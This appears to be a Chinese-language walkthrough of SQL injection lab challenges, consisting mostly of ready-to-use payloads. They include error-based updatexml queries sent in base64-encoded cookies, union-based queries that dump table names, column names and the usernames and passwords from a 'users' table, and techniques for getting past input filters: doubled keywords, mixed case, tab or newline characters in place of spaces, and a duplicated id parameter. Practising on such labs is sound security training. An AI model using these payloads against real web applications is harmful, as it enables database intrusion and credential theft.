可以看见这里返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。
解码查看
')and updatexml(1,concat(1,database()),1)#编码
')and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#编码
')and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #编码
')and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#编码
可以看见这里返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。
"and updatexml(1,concat(1,database()),1)#编码
"and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#编码
"and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #编码
"and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#编码
输入单引号报错,但是注释符不管用。猜测注释符被过滤,查看源码果然被注释了,所以我们可以用单引号闭合,发现成功。
?id=1' or '1'='1
?id=-1' union select 1,database(),3 or '1'='1
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or '1'='1
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' or '1'='1
页面提示是将or和and这两个替换成空,可以采取双写绕过
information里面涉及or可以写成infoorrmation
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
information里面涉及or可以写成infoorrmation
and改为anandd
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+
逻辑运算符,注释符以及空格给过滤了,我们需要使用1'and'进行闭合,逻辑运算符使用双写或者&&和||替换。空格用括号替换
?id=1'||(updatexml(1,concat(1,(select(database()))),1))||'
?id=1'||(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'
?id=1'||(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'
?id=1'||(updatexml(1,concat(1,(select(group_concat(passwoorrd,username))from(users))),1))||'
过滤了空格,select和union,我们可以大小写绕过,空格用%09替换
?id=1'and%09updatexml(1,concat(1,(sElect%09database())),1)and'
?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security')),1)and'
?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users')),1)and'
?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(username,password)%09from%09users)),1)and'
过滤了空格,union和select,空格用%0A替换,union select双写替换
?id=99')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
?id=99')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入
?id=1&id=-1'union select 1,database(),3 --+
?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
?id=1&id=-1'union select 1,2,group_concat(id,username,password) from users --+
对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入
?id=1&id=-1"union select 1,database(),3 --+
?id=1&id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
?id=1&id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
?id=1&id=-1"union select 1,2,group_concat(id,username,password) from users --+